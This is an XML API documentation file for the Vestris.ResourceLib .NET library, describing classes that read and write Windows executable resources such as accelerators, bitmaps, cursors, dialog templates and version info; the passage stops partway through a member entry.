    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Vestris.ResourceLib</name>\n    </assembly>\n    <members>\n        <member name=\"T:Vestris.ResourceLib.Accelerator\">\n            <summary>\n            Standard accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Read(System.IntPtr)\">\n            <summary>\n            Read the accelerator.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write accelerator to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Key\">\n            <summary>\n            String representation of the accelerator key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Command\">\n            <summary>\n            An unsigned integer value that identifies the accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.ToString\">\n            <summary>\n            String representation of the accelerator.\n            </summary>\n            <returns>String representation of the accelerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.AcceleratorResource\">\n            <summary>\n            An accelerator, RT_ACCELERATOR resource.\n            An accelerator provides the user with access to an application's command set.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.AcceleratorResource.Accelerators\">\n            <summary>\n            Accelerator keys.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor\">\n            <summary>\n            A new accelerator resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing accelerator resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the accelerators table.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the accelerator table.</param>\n            <returns>Address of the end of the accelerator table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.ToString\">\n            <summary>\n            String representation of the accelerators resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Aligned\">\n            <summary>\n            Creates an 8 bit aligned copy of the buffer if it is not already aligned\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapFile\">\n            <summary>\n            A bitmap file in a .bmp format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapFile.Bitmap\">\n            <summary>\n            Device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapFile.#ctor(System.String)\">\n            <summary>\n            An existing bitmap file.\n            </summary>\n            <param name=\"filename\">A file in a .bmp format.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapResource\">\n            <summary>\n            An embedded bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing bitmap resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor\">\n            <summary>\n            A new bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the bitmap resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapResource.Bitmap\">\n            <summary>\n            A device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of cursors that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorResource\">\n            <summary>\n            This structure depicts the organization of data in a cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor\">\n            <summary>\n            A new cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotX\">\n            <summary>\n            Horizontal hotspot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotY\">\n            <summary>\n            Vertical hot spot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.SaveIconTo(System.String)\">\n            <summary>\n            Write the cursor data to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read DIB image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">DIB size.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DeviceIndependentBitmap\">\n            <summary>\n            A device-independent image consists of a BITMAPINFOHEADER where\n            bmWidth is the width of the image andbmHeight is double the height \n            of the image, followed by the bitmap color table, followed by the image\n            pixels, followed by the mask pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Data\">\n            <summary>\n            Raw image data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Header\">\n            <summary>\n            Bitmap info header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Size\">\n            <summary>\n            Bitmap size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor\">\n            <summary>\n            A new icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(System.Byte[])\">\n            <summary>\n            A device-independent bitmap.\n            </summary>\n            <param name=\"data\">Bitmap data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(Vestris.ResourceLib.DeviceIndependentBitmap)\">\n            <summary>\n            Create a copy of an image.\n            </summary>\n            <param name=\"image\">Source image.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.Read(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read icon data.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of icon data.</param>\n            <param name=\"size\">Icon data size.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.MaskImageSize\">\n            <summary>\n            Size of the image mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.XorImageIndex\">\n            <summary>\n            Position of the DIB bitmap bits within a DIB bitmap array.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.ColorCount\">\n            <summary>\n            Number of colors in the palette.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.GetDIBRowWidth(System.Int32)\">\n            <summary>\n            Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary.\n            </summary>\n            <param name=\"width\">Number of bits.</param>\n            <returns>Width of a row in bytes.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Mask\">\n            <summary>\n            Bitmap monochrome mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Color\">\n            <summary>\n            Bitmap color (XOR) part of the image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Image\">\n            <summary>\n            Complete image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.CharacterSet\">\n            <summary>\n            Indicates the character set to use.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Weight\">\n            <summary>\n            Weight of the font. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Italic\">\n            <summary>\n            Indicates whether the font is italic.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.#ctor\">\n            <summary>\n            An extended dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.ToString\">\n            <summary>\n            String representation of the dialog.\n            </summary>\n            <returns>String in the DIALOGEX [dialog] format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplateControl\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.#ctor\">\n            <summary>\n            An extended dialog control template structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog control.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.ToString\">\n            <summary>\n            Return a string representation of the dialog control.\n            </summary>\n            <returns>A single line in the \"CLASS name id, dimensions and styles' format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogResource\">\n            <summary>\n            A dialog template resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogResource.Template\">\n            <summary>\n            A dialog template structure that describes the dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured dialog resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor\">\n            <summary> \n            A structured dialog resource embedded in an executable module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.ToString\">\n            <summary>\n            Dialog resource in standard resource editor text format.\n            </summary>\n            <returns>Multi-line string.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATE structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.#ctor\">\n            <summary>\n            A standard dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog template data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.ToString\">\n            <summary>\n            Returns a string representation of the dialog.\n            </summary>\n            <returns>String in the DIALOG ... format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ControlCount\">\n            <summary>\n            Number of items in this structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.TypeFace\">\n            <summary>\n            The name of the typeface for the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.PointSize\">\n            <summary>\n            Point size of the font to use for the text in the dialog box and its controls.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Caption\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.MenuId\">\n            <summary>\n            Menu resource Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.WindowClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Controls\">\n            <summary>\n            Controls within this dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToString\">\n            <summary>\n            Dialog template representation in a standard text format.\n            </summary>\n            <returns>Multiline string.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToControlString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControl\">\n            <summary>\n            A container for a control within a dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.#ctor\">\n            <summary>\n            A standard dialog control structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.ToString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControlBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CaptionId\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClass\">\n            <summary>\n            Window class of the control.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CreationData\">\n            <summary>\n            Additional creation data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControlBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateUtil\">\n            <summary>\n            Dialog template utility functions.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.ReadResourceId(System.IntPtr,Vestris.ResourceLib.ResourceId@)\">\n            <summary>\n            Read a dialog resource id.       \n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <param name=\"rc\">Resource read.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32,System.UInt32)\">\n            <summary>\n            String representation of the dialog or control styles of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <param name=\"exstyle\">Dialog or control extended style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``1(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of one type.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DirectoryResource`1\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.ResourceType\">\n            <summary>\n            Returns the type of the resource in this group.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.Icons\">\n            <summary>\n            Icons contained in this hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.SaveTo(System.String)\">\n            <summary>\n            Save a hardware-independent icon resource to an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a hardware-independent icon resource from a loaded module.\n            </summary>\n            <param name=\"hModule\">Loaded executable module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the hardware-independent icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a hardware-independent icon resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FixedFileInfo\">\n            <summary>\n            Fixed file information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.#ctor\">\n            <summary>\n            Default Windows fixed file information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Value\">\n            <summary>\n            Fixed file info structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read the fixed file information structure.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write fixed file information to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Size\">\n            <summary>\n            Size of the VS_FIXEDFILEINFO structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.ToString\">\n            <summary>\n            String representation of the fixed file info.\n            </summary>\n            <returns>String representation of the fixed file info.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryEntry\">\n            <summary>\n            A font directory entry.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FontOrdinal\">\n            <summary>\n            Font ordinal.\n            </summary>\n        </member>\n        <member 